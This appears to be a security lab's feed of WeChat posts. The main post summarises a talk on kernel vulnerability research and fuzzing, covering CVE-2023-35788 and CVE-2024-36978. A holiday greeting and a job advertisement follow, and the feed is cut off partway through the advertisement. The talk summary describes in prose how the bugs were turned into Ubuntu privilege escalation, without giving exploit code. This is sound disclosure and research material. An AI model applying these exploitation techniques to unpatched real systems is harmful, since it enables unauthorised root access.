<h2 cid="n2" mdtype="heading"><strong><span md-inline="plain" style=";">0x00 背景</span></strong></h2><p cid="n3" mdtype="paragraph"><span md-inline="plain" style=";">在2024年6月26日，OFF-BY-ONE Conference在新加坡举行，我们有幸发表了题目为“经典目标中被遗忘的宝藏”的演讲。</span></p><p cid="n4" mdtype="paragraph"><span md-inline="plain" style=";">整体来讲，这个演讲主要是讲述我们我们尝试在对一些传统的目标进行 Fuzz 的时候，由于目标已经被大量的进行了 Fuzz，我们无法很好的发现新的可利用的漏洞。所以我们改变方案，重新阅读和分析源码，寻找新的攻击面，并且尝试通过手动的代码审计来挖掘漏洞。最后我们反思我们的fuzz策略和直接代码审计时有什么不同，然后改进了我们的<span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);"> </span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);">F</span><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);">uzz </span>工具，进一步发现了许多新的漏洞。</span></p><p cid="n5" mdtype="paragraph"><span md-inline="plain" style=";">这个演讲主要由三大部分组成，分别是被遗忘的宝藏、 审计目标和增强 Fuzzers。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002559" data-ratio="0.75" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a8a5d676&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYFNuhBaL6GK5sibFoeBDjHrZ4gibXpTyVTouOJuXqVqkDh7fEZal6EU2qQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;text-align: justify;"></span></p><h2 cid="n6" mdtype="heading"><br/></h2><h2 cid="n6" mdtype="heading"><strong><span md-inline="plain" style=";">0x01 被遗忘的宝藏</span></strong></h2><p cid="n7" mdtype="paragraph"><span md-inline="plain" style=";">我们都知道，在 web3 项目中，出现一个漏洞，往往会带来巨大的经济损失，所以，web3 的项目往往要求尽可能找出项目中的所有漏洞。但是传统的 web2 项目往往拥有比 web3 项目大得多的规模，所以那些被多次审计或者 Fuzz 过的代码，往往会被忽略或者说默认为安全。</span></p><p cid="n8" mdtype="paragraph"><span md-inline="plain" style=";">所以，在这个部分中，我们主要回顾了以下一些有趣的漏洞。</span></p><ul class="list-paddingleft-1" cid="n9" mdtype="list" data-mark="-" style=";"><li style=";"><p cid="n11" mdtype="paragraph"><span md-inline="plain" style=";">CVE-2020-15999</span></p><p cid="n12" mdtype="paragraph"><span md-inline="plain" style=";">图像解析 freetype 的漏洞，被多个项目使用，比如 chrome 和 android。在处理嵌入到字体的 PNG 图像时，由于把获取的32位图像宽高进行截断为16位再进行存储，并且使用16位的数据进行内存申请操作，导致后续出现堆溢出操作。</span></p></li><li style=";"><p cid="n14" mdtype="paragraph"><span md-inline="plain" style=";">CVE-2023-4863、CVE-2023-41064</span></p><p cid="n15" mdtype="paragraph"><span md-inline="plain" style=";">webp/libwebpd 的漏洞，被 Android, chrome, ios/masos 等使用。规范霍夫曼编码算法中有越界写漏洞。</span></p></li><li style=";"><p cid="n17" mdtype="paragraph"><span md-inline="plain" style=";">CVE-2023-0461</span></p><p cid="n18" mdtype="paragraph"><span md-inline="plain" style=";">Linux内核的 TCP_ULP 模块漏洞。TCP_ULP 没有判断协议是否实现某些虚函数，导致在使用特定的协议进行多次三次报文握手时，会出现 double free 的漏洞。</span></p><p cid="n18" mdtype="paragraph"><span md-inline="plain" style=";"></span></p></li></ul><h2 cid="n19" mdtype="heading"><strong><span md-inline="plain" style=";">0x02 审计目标</span></strong><span md-inline="plain" style=";"></span></h2><p cid="n20" mdtype="paragraph"><span md-inline="plain" style=";">这部分讲述了我们 Fuzz 失败然后进行 Code Review 的过程，这部分由两个部分组成，第一部分是 Linux kernel 相关的，第二部分是 Android 相关的，这部分我们将只阐述其中关于 Linux 相关的内容。</span></p><p cid="n21" mdtype="paragraph"><span md-inline="plain" style=";">在 Linux Kernel 部分，如果我们想要进行 Linux Kernel Fuzz，我们首先必须确定攻击面。我们首先介绍了 Linux Kernel 近些年常见的攻击面，分别是 ebpf、io_uring 和 Netfilter。ebpf 由于 Ubuntu 的权限设置，普通用户无法访问，所以该攻击面不可用。io_uring 和 Netfilter 虽然都是很棒的攻击面，同时有着普通用户可以访问以及足够复杂且多变的代码，但是由于过多人关注这两个攻击面，我们也不选择。经过多方对比，我们最后的选择是，network packet scheduler，这个模块代码可以被普通用户访问到而且足够复杂，最重要的是关注的人不多，但是同时他的缺点也明显，就是 Fuzz 时的通用性差，而且需要创建新的 Namespace。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002560" data-ratio="0.5101851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e07c1cf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYF6jaaOYIgUouOFiboKKd2oQE0SmMN17QrmrW5gYeC5zr1DRXmGBvTYGQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n23" mdtype="paragraph"><span md-inline="plain" style=";"> 紧接着，我们介绍了 Network Packet Scheduler 的基本架构，如上图所示，在得到基本架构后，我们可以轻易的使用 Fuzz 工具比如 </span><span md-inline="link" style=";"><span md-inline="plain" style=";">syzkaller</span> </span><span md-inline="plain" style=";">来进行 Fuzz。但是我们并没有 Fuzz 出什么有效的内容，所以我们转向了直接的代码审计。</span></p><p cid="n24" mdtype="paragraph"><span md-inline="plain" style=";">然后我们发现了CVE-2023-35788，这个漏洞。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002561" data-ratio="0.5212962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4e95b42b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYFzL4WJMicLkyzlIpU7mj2jxXshEtxmgxSjwxpy6dGhPWpQMBas49iaPEw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n24" mdtype="paragraph"><span md-inline="plain" style=";">在</span><span md-inline="code" spellcheck="false" style=";"><code style=";">fl_set_geneve_opt</code></span><span md-inline="plain" style=";">中，</span><span md-inline="code" spellcheck="false" style=";"><code style=";">key-&gt;enc-&gt;opts.len</code></span><span md-inline="plain" style=";">被用在data数组中，而且在这之前没有进行校验，如果我们构造合适的长度，可以把后续的了</span><span md-inline="code" spellcheck="false" style=";"><code style=";">opt</code></span><span md-inline="plain" style=";">的 </span><span md-inline="code" spellcheck="false" style=";"><code style=";">length</code></span><span md-inline="plain" style=";">, </span><span md-inline="code" spellcheck="false" style=";"><code style=";">r1</code></span><span md-inline="plain" style=";">, </span><span md-inline="code" spellcheck="false" style=";"><code style=";">r2</code></span><span md-inline="plain" style=";">和</span><span md-inline="code" spellcheck="false" style=";"><code style=";">r3</code></span><span md-inline="plain" style=";">字段的0写入</span><span md-inline="code" spellcheck="false" style=";"><code style=";">opts.len</code></span><span md-inline="plain" style=";">中，从而构造一个 off-by-one 的漏洞。</span><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002562" data-ratio="0.5212962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=01d71ed8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYF4MqOgccnfcMbI7Eq3wmkeBibOLE4L6qEZYVpoH5VdJl9iccK9W0frKgg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n24" mdtype="paragraph"><span md-inline="plain" style=";">这可以绕过后续的对于</span><span md-inline="code" spellcheck="false" style=";"><code style=";">fl_set_geneve_opt</code></span><span md-inline="plain" style=";">的校验操作，进而进一步导致结构体内越界写。</span><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002563" data-ratio="0.5435185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=84b71df1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYFmoib7jeCicsWZW1Tn4v48co6eLJESzibuB8r6NF7CnGQbKoUKHaUswdhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n24" mdtype="paragraph"><span style="caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">但是由于宏定义的限制，我们最多只能溢出128字节。</span><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002564" data-ratio="0.5435185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1661fdd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYFwApwo6TeetbAjXiafObCa2zH2zibDLQHOb4Nn9YYTib5Jk74icgVrvhckw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n24" mdtype="paragraph"><span md-inline="plain" style=";">至于越界读取，</span><span md-inline="code" spellcheck="false" style=";"><code style=";">cls_flower</code></span><span md-inline="plain" style=";">本身就提供了读取我们之前传入的内容的功能，而且依赖于</span><span md-inline="code" spellcheck="false" style=";"><code style=";">len</code></span><span md-inline="plain" style=";"> 字段。</span><span style="caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002565" data-ratio="0.5435185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e15173db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYFhqwdEq6gLLlxTL3yQsh4IDqRiagyOvlEWB5E8CTuTh6sDuljASa72XQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n24" mdtype="paragraph"><span style="caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">如果我们在触发结构体溢出后，继续在这个数组中填入数据，由于我们的len被修改了，我们会重新开始写这个数据的内容，经过布局，我们可以在修改部分原有的 opt 的 len，同时，在数组的末尾伪造一个虚假的 opt 结构体，那么内核会错误的以为，后续还有我们传入的数据，从而实现越界结构体内读取，泄漏之前说的函数指针。最后我们利用这个越界写入完成了对 Ubuntu 的提权。</span><span md-inline="plain" style=";"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002566" data-ratio="0.6603260869565217" data-s="300,640" style="" data-type="png" data-w="736" src="https://wechat2rss.xlab.app/img-proxy/?k=b8fa0f13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYF64M3uq7oB84b7mNxaEZZkudhsAh9zDtiaDhfFEUNC5uQ3EOtjzx8CZw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n36" mdtype="paragraph"><span md-inline="plain" style=";">在我们发现了这些漏洞后，我们决定去增强我们的 Fuzz，来找到更多的漏洞。</span></p><h2 cid="n37" mdtype="heading"><strong><span md-inline="plain" style=";">0x03 增强Fuzzers</span></strong><span md-inline="plain" style=";"></span></h2><p cid="n38" mdtype="paragraph"><span md-inline="plain" style=";">我们在这部分首先介绍了失败的原因。</span></p><p cid="n39" mdtype="paragraph"><span md-inline="plain" style=";">第一种情况是该漏洞的模型构建困难。例如，一些内存破坏性漏洞可能不会产生崩溃等直观影响。当他们写越界时，是每隔一些内存单元进行的，并且在一定概率下修改的值是不会出现错误的。</span></p><p cid="n40" mdtype="paragraph"><span md-inline="plain" style=";">第二种情况通常在一些闭源 Fuzz 中更为常见。因为在某些情况下，代码的触发路径较多且复杂，很难在短时间内确定所有的关键处理模块。因此，大多数情况下，我们可能会更加关注早期的处理模块。</span></p><p cid="n41" mdtype="paragraph"><span md-inline="plain" style=";">还有第三种情况的漏洞，通常是最难发现的。当多个条件同时满足时才会触发。在很多情况下，我们可能并没有真正理解解析函数所涉及的关键点。同时，在封闭式 Fuzz中，我们通常更关注早期接口参数的适配以及代码覆盖率的提升。这导致我们的 Fuzz 很难挖掘到这些多条件漏洞。</span></p><p cid="n42" mdtype="paragraph"><span md-inline="plain" style=";">所以我们通过以下方式改进。首先是对于多层嵌套结构，我们关注Fuzz到达特定指令的效率，即我们关注我们 Fuzz 的深度而不是广度。其次我们更关注关键指令位置的路径测试，对于相同的路径，我们多次使用不同的特殊值来进行测试。总的来说，这是一种引导式 Fuzz 策略，可以更好挖掘一些被遗忘的漏洞。</span></p><p cid="n43" mdtype="paragraph"><span md-inline="plain" style=";">最后，我们集中介绍了CVE-2024-36978。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002567" data-ratio="0.5435185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c4352c7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYF5DNf11JXGIziaTHEzsDq2FHfUfS4icOS3v0Nh2ibcFqbFJKF2dNyYVbAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n45" mdtype="paragraph"><span md-inline="plain" style=";">漏洞发生在</span><span md-inline="code" spellcheck="false" style=";"><code style=";">sch_multiq</code></span><span md-inline="plain" style=";">模块。我们可以看到在位置一，</span><span md-inline="code" spellcheck="false" style=";"><code style=";">qopt-&gt;bands</code></span><span md-inline="plain" style=";">被赋值。然后在位置二，removed被申请，通过</span><span md-inline="code" spellcheck="false" style=";"><code style=";">q-&gt;max_bands</code></span><span md-inline="plain" style=";">减去</span><span md-inline="code" spellcheck="false" style=";"><code style=";">q-&gt;bands</code></span><span md-inline="plain" style=";">。在位置三，</span><span md-inline="code" spellcheck="false" style=";"><code style=";">q-&gt;bands</code></span><span md-inline="plain" style=";">被</span><span md-inline="code" spellcheck="false" style=";"><code style=";">qopt-&gt;bands</code></span><span md-inline="plain" style=";">赋值。在位置四，我们把一些多余的 qdisc 对象放入 removed 数组，然后在位置五释放。为什么位置二要使用老的 </span><span md-inline="code" spellcheck="false" style=";"><code style=";">q-&gt;bands </code></span><span md-inline="plain" style=";">申请 removed 大小，但是后面的 for 循环中却用了新的</span><span md-inline="code" spellcheck="false" style=";"><code style=";">q-&gt;bands</code></span><span md-inline="plain" style=";">。这看起来很奇怪。如果 max_bands 减去新的 bands 大于 max_bands 减去老的 bands 的两倍，for 循环就可能越界写入一个马上会释放的堆指针。</span></p><p cid="n46" mdtype="paragraph"><span md-inline="plain" style=";">利用这个漏洞，我们可以轻易完成 Linux kernel 的提权。</span></p><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=6cc36ea1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dZY7rcHTOQpvgwib5IIraYFBiaAFLxXzzYAjUxj0TDL1SqmIUdZicjX1xa5CQxSKR7BXure2YGNWThw%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=c332a545&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486222%26idx%3D1%26sn%3D84ee657bdd47567f0be2ed63382bbed0%26subscene%3D0&amp;v=wxv_3529816691163267077"></video></section><h2 cid="n37" mdtype="heading"><strong><span md-inline="plain" style=";">0x04 参考链接</span></strong><span md-inline="plain" style=";"></span></h2><p cid="n46" mdtype="paragraph"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"><a href="https://medium.com/@numencyberlabs/the-forgotten-treasure-in-classic-targets-94b0a71a5ec7" target="_blank">https://medium.com/@numencyberlabs/the-forgotten-treasure-in-classic-targets-94b0a71a5ec7</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486222">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9fbbb426&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486222%26idx%3D1%26sn%3D84ee657bdd47567f0be2ed63382bbed0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 03 Jul 2024 14:15:00 +0800</pubDate>
    </item>
    <item>
      <title>恭祝新春</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486205&amp;idx=1&amp;sn=afe42e8d3e76e4f9e03cc5e814f820b9</link>
      <description>[庆祝]Numen cyber 祝大家农历新春愉快，阖家欢乐，万事如意。[爆竹][烟花]</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2024-02-09 11:46</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>[庆祝]Numen cyber 祝大家农历新春愉快，阖家欢乐，万事如意。[爆竹][烟花]</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ebb2f3e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0dAEWODMWNib41P3fIyPruWe14NHwO1Wg12NicLvic6ycfDiclsnlnT4hndzNicgxicajKlfPOoyRiaOzBZQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">恭祝新春</h1>    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/vlekRjgqic0dAEWODMWNib41P3fIyPruWemhwIOKSTTOjaTl0ZfLyau0iaA7N6WQLTibBNwziaeKXsWicME4DmDHRZYA/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8d19c909&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MDcxNTc2NA%3D%3D%26mid%3D2247486205%26idx%3D1%26sn%3Dafe42e8d3e76e4f9e03cc5e814f820b9%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 Feb 2024 11:46:00 +0800</pubDate>
    </item>
    <item>
      <title>招聘：Numen Cyber Labs 农历新年召集令</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MDcxNTc2NA==&amp;mid=2247486188&amp;idx=1&amp;sn=39ee2e2530f59ce3955a1eadca20c4e5</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>Numen cyber labs</span> <span>2024-01-31 12:12</span> <span style="display: inline-block;">新加坡</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5339c320&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FvlekRjgqic0fhMdZt6IibX2bqX00Rh76N4UZWQG3mIzZ2Ud2C8Rw0ib16IewNDOcDg7N0auj7tAWhaKgibZN09ntuQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-left: 48px;margin-right: 48px;text-align: center;"><strong style="color: rgb(255, 104, 39);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="font-size: 16px;">中国、新加坡两地办公室任你选择</span></strong><br/></section><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 16px;">全球安全会议/赛事/活动，差旅无限报销</span></strong></span></p><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 16px;">圈子好友聚会无限报销</span></strong></span></p><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 16px;">实验室岗位拒绝OKR，KPI...</span></strong></span></p><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 16px;">研究资源重度倾斜</span></strong></span></p><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 16px;">16天超长带薪年假，鼓励配合公共假期一起休<br/></span></strong></span></p><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 16px;">实验室岗位每周4天来公司，1天居家办公</span></strong></span></p><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="color: rgb(255, 104, 39);"><strong><span style="font-size: 16px;">... ...<br/></span></strong></span></p><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="text-decoration: underline;color: rgb(255, 76, 0);background-color: rgb(255, 251, 0);"><strong><span style="background-color: rgb(255, 251, 0);text-decoration: underline;font-size: 16px;">   </span></strong></span><span style="text-decoration: underline;background-color: rgb(255, 251, 0);"><strong><span style="background-color: rgb(255, 251, 0);text-decoration: underline;font-size: 16px;">推荐成功入职送  </span></strong></span><span style="text-decoration: underline;background-color: rgb(255, 251, 0);font-size: 16px;"><strong>apple vision pro </strong></span><span style="text-decoration: underline;color: rgb(255, 76, 0);background-color: rgb(255, 251, 0);font-size: 20px;"></span></p><p style="margin-left: 48px;margin-right: 48px;text-align: center;"><span style="text-decoration: underline;color: rgb(255, 76, 0);background-color: rgb(255, 251, 0);font-size: 20px;"><strong><br/></strong></span></p><p><span style="font-size: 24px;color: rgb(0, 0, 0);background-color: rgb(255, 79, 121);"><strong>还在开放的岗位：</strong></span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="color: rgb(64, 118, 0);font-weight: bold;"><p style="text-align: left;"><strong><span style="color: rgb(64, 118, 0);">移动安全研究员（Android方向）</span></strong></p></li><li style="color: rgb(64, 118, 0);font-weight: bold;"><p style="text-align: left;"><strong><span style="color: rgb(64, 118, 0);">移动安全研究员（应用层方向 <span style="letter-spacing: 0.578px;text-wrap: wrap;"></span>）<br/></span></strong></p></li><li style="color: rgb(64, 118, 0);font-weight: bold;"><p style="text-align: left;"><strong><span style="color: rgb(64, 118, 0);">工控/物联网/网络设备/安全研究员</span></strong></p></li><li style="color: rgb(64, 118, 0);font-weight: bold;"><p style="text-align: left;"><strong><span style="color: rgb(64, 118, 0);">区块链安全研究员</span></strong></p></li><li style="color: rgb(64, 118, 0);font-weight: bold;"><p style="text-align: left;"><strong><span style="color: rgb(64, 118, 0);">Web漏洞研究员（php/java）</span></strong></p></li><li style="color: rgb(64, 118, 0);font-weight: bold;"><p style="text-align: left;"><strong><span style="color: rgb(64, 118, 0);">高级渗透测试工程师</span></strong></p></li></ul><p><br/></p><p><span style="color: rgb(0, 0, 0);background-color: rgb(255, 79, 121);font-size: 18px;"><strong>简历投送邮箱：hr@numencyber.com</strong></span></p><p><span style="font-size: 24px;color: rgb(0, 0, 0);text-decoration: line-through;"><strong>下面是岗位的详细信息</strong></span></p><h1 cid="n0" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(0, 82, 255);font-size: 20px;">移动安全研究员（Android方向）</span></h1><h3 cid="n2" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-weight: 700;letter-spacing: normal;orphans: 4;text-align: start;caret-color: rgb(0, 122, 255);white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 20px;">工作职责</span></h3><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li><p cid="n3" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">负责漏洞挖掘平台的研发与改进；</p></li><li><p cid="n3" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">负责漏洞利用新技术研究；</p></li><li><p cid="n3" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">跟踪全球最新安全动态，了解最新的攻击技术，完成分析报告。</p></li></ol><h3 cid="n2" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, 